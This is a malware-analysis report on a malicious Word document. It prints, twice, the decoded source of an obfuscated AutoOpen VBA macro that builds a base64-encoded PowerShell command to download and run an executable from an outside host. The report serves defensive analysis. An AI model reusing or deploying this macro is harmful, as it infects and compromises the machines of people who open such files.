Office (OLE) malware analysis — malicious · 406615a98d241061

MALICIOUS

Office (OLE)

88.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31

MD5: 3873d37d130c5581d2ab4a43bf9bc582 SHA-1: 2e929549c0fdb8c54340c534d7a544531a0155d8 SHA-256: 406615a98d2410613c44bb467898c79779b218cbf85e3bdc0e411735d7f9afe9

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute a command using Shell(). The VBA script constructs a PowerShell command string, which is then executed. This PowerShell command is likely responsible for downloading and executing a secondary payload, a common technique for malware delivery.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9358 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9358 bytes
SHA-256: `07fc5a1d9ac50e5a6958c8a7845382a677f614b8c371f18ec7fc748baad423d0`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const ZyZeRybOaxyNAXEnesUiMAGySUWuRq = 0 Sub AutoOpen() On Error Resume Next QPeaguBiHohtuzzABILenoCGbyl = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" VofvegaaKOxUzOdUxgYWzIJUhIpEveByKYzAJxoG = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A" Dim WiheLizZukODYeMyWaVuFUHocaVIqaaYDE Choose 7, "HiHyvIherYTYzuZEPAfucu", LTrim("WiheLizZukODYeMyWaVuFUHocaVIqaaYDE"), "HiHyvIherYTYzuZEPAfucuWiheLizZukODYeMyWaVuFUHocaVIqaaYDE" IsError CVErr(3822) Call IsNumeric(3822 - HiHyvIherYTYzuZEPAfucu) If LenB(HiHyvIherYTYzuZEPAfucu12) > CInt(Hex(3822)) Then StrComp "HiHyvIherYTYzuZEPAfucu", "HiHyvIherYTYzuZEPAfucu" & WiheLizZukODYeMyWaVuFUHocaVIqaaYDE End If Dim HUMaLefIbIufYMEwEJelumxediaJoNAWU Choose 5, "qYCUKyhUkarORpIiYPOPAio", LTrim("HUMaLefIbIufYMEwEJelumxediaJoNAWU"), "qYCUKyhUkarORpIiYPOPAioHUMaLefIbIufYMEwEJelumxediaJoNAWU" IsError CVErr(986) Call IsNumeric(986 - qYCUKyhUkarORpIiYPOPAio) If LenB(qYCUKyhUkarORpIiYPOPAio11) > CInt(Hex(986)) Then StrComp "qYCUKyhUkarORpIiYPOPAio", "qYCUKyhUkarORpIiYPOPAio" & HUMaLefIbIufYMEwEJelumxediaJoNAWU End If Dim matozIzAtAXAPEqywabuwAZofuhiqAsiMu Choose 5, "MYFYLItocepofypylyvAaI", LTrim("matozIzAtAXAPEqywabuwAZofuhiqAsiMu"), "MYFYLItocepofypylyvAaImatozIzAtAXAPEqywabuwAZofuhiqAsiMu" IsError CVErr(2735) Call IsNumeric(2735 - MYFYLItocepofypylyvAaI) If LenB(MYFYLItocepofypylyvAaI10) > CInt(Hex(2735)) Then StrComp "MYFYLItocepofypylyvAaI", "MYFYLItocepofypylyvAaI" & matozIzAtAXAPEqywabuwAZofuhiqAsiMu End If Dim DubAQiiyMoTEsNEieVqyFAMewEtAf Choose 7, "iewABEHItYyJodeFa", LTrim("DubAQiiyMoTEsNEieVqyFAMewEtAf"), "iewABEHItYyJodeFaDubAQiiyMoTEsNEieVqyFAMewEtAf" IsError CVErr(208) Call IsNumeric(208 - iewABEHItYyJodeFa) If LenB(iewABEHItYyJodeFa11) > CInt(Hex(208)) Then StrComp "iewABEHItYyJodeFa", "iewABEHItYyJodeFa" & DubAQiiyMoTEsNEieVqyFAMewEtAf End If jOrYFINihowAjoNALUFuJOXUDYvEsEFAdxII = "^y^A^D^Y^A^M^Q^A^y^A^D^M^A^N^Q^A^1^A^D^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^g^A^2^A^D^E^A^M^g^A^z^A^D^U^A^N^Q^A^z^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim DYxIXzfomywaKUFydOjeroiIKyvIReTiNU Choose 2, "sokopIRiRIpEHisOgEGOZA", LTrim("DYxIXzfomywaKUFydOjeroiIKyvIReTiNU"), "sokopIRiRIpEHisOgEGOZADYxIXzfomywaKUFydOjeroiIKyvIReTiNU" IsError CVErr(2391) Call IsNumeric(2391 - sokopIRiRIpEHisOgEGOZA) If LenB(sokopIRiRIpEHisOgEGOZA10) > CInt(Hex(2391)) Then StrComp "sokopIRiRIpEHisOgEGOZA", "sokopIRiRIpEHisOgEGOZA" & DYxIXzfomywaKUFydOjeroiIKyvIReTiNU End If Dim TUnguPEZAPOKLAnQEaaloqITEFudAWijOk Choose 8, "iAioPuLEwalAzYaX", LTrim("TUnguPEZAPOKLAnQ ... (truncated)

SHA-256: 07fc5a1d9ac50e5a6958c8a7845382a677f614b8c371f18ec7fc748baad423d0

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ZyZeRybOaxyNAXEnesUiMAGySUWuRq = 0
Sub AutoOpen()
On Error Resume Next
QPeaguBiHohtuzzABILenoCGbyl = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"

VofvegaaKOxUzOdUxgYWzIJUhIpEveByKYzAJxoG = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A"
Dim WiheLizZukODYeMyWaVuFUHocaVIqaaYDE


Choose 7, "HiHyvIherYTYzuZEPAfucu", LTrim("WiheLizZukODYeMyWaVuFUHocaVIqaaYDE"), "HiHyvIherYTYzuZEPAfucuWiheLizZukODYeMyWaVuFUHocaVIqaaYDE"
IsError CVErr(3822)
Call IsNumeric(3822 - HiHyvIherYTYzuZEPAfucu)

If LenB(HiHyvIherYTYzuZEPAfucu12) > CInt(Hex(3822)) Then
   StrComp "HiHyvIherYTYzuZEPAfucu", "HiHyvIherYTYzuZEPAfucu" & WiheLizZukODYeMyWaVuFUHocaVIqaaYDE
End If
Dim HUMaLefIbIufYMEwEJelumxediaJoNAWU


Choose 5, "qYCUKyhUkarORpIiYPOPAio", LTrim("HUMaLefIbIufYMEwEJelumxediaJoNAWU"), "qYCUKyhUkarORpIiYPOPAioHUMaLefIbIufYMEwEJelumxediaJoNAWU"
IsError CVErr(986)
Call IsNumeric(986 - qYCUKyhUkarORpIiYPOPAio)

If LenB(qYCUKyhUkarORpIiYPOPAio11) > CInt(Hex(986)) Then
   StrComp "qYCUKyhUkarORpIiYPOPAio", "qYCUKyhUkarORpIiYPOPAio" & HUMaLefIbIufYMEwEJelumxediaJoNAWU
End If


Dim matozIzAtAXAPEqywabuwAZofuhiqAsiMu


Choose 5, "MYFYLItocepofypylyvAaI", LTrim("matozIzAtAXAPEqywabuwAZofuhiqAsiMu"), "MYFYLItocepofypylyvAaImatozIzAtAXAPEqywabuwAZofuhiqAsiMu"
IsError CVErr(2735)
Call IsNumeric(2735 - MYFYLItocepofypylyvAaI)

If LenB(MYFYLItocepofypylyvAaI10) > CInt(Hex(2735)) Then
   StrComp "MYFYLItocepofypylyvAaI", "MYFYLItocepofypylyvAaI" & matozIzAtAXAPEqywabuwAZofuhiqAsiMu
End If
Dim DubAQiiyMoTEsNEieVqyFAMewEtAf


Choose 7, "iewABEHItYyJodeFa", LTrim("DubAQiiyMoTEsNEieVqyFAMewEtAf"), "iewABEHItYyJodeFaDubAQiiyMoTEsNEieVqyFAMewEtAf"
IsError CVErr(208)
Call IsNumeric(208 - iewABEHItYyJodeFa)

If LenB(iewABEHItYyJodeFa11) > CInt(Hex(208)) Then
   StrComp "iewABEHItYyJodeFa", "iewABEHItYyJodeFa" & DubAQiiyMoTEsNEieVqyFAMewEtAf
End If
jOrYFINihowAjoNALUFuJOXUDYvEsEFAdxII = "^y^A^D^Y^A^M^Q^A^y^A^D^M^A^N^Q^A^1^A^D^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^g^A^2^A^D^E^A^M^g^A^z^A^D^U^A^N^Q^A^z^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim DYxIXzfomywaKUFydOjeroiIKyvIReTiNU


Choose 2, "sokopIRiRIpEHisOgEGOZA", LTrim("DYxIXzfomywaKUFydOjeroiIKyvIReTiNU"), "sokopIRiRIpEHisOgEGOZADYxIXzfomywaKUFydOjeroiIKyvIReTiNU"
IsError CVErr(2391)
Call IsNumeric(2391 - sokopIRiRIpEHisOgEGOZA)

If LenB(sokopIRiRIpEHisOgEGOZA10) > CInt(Hex(2391)) Then
   StrComp "sokopIRiRIpEHisOgEGOZA", "sokopIRiRIpEHisOgEGOZA" & DYxIXzfomywaKUFydOjeroiIKyvIReTiNU
End If
Dim TUnguPEZAPOKLAnQEaaloqITEFudAWijOk


Choose 8, "iAioPuLEwalAzYaX", LTrim("TUnguPEZAPOKLAnQ
... (truncated)

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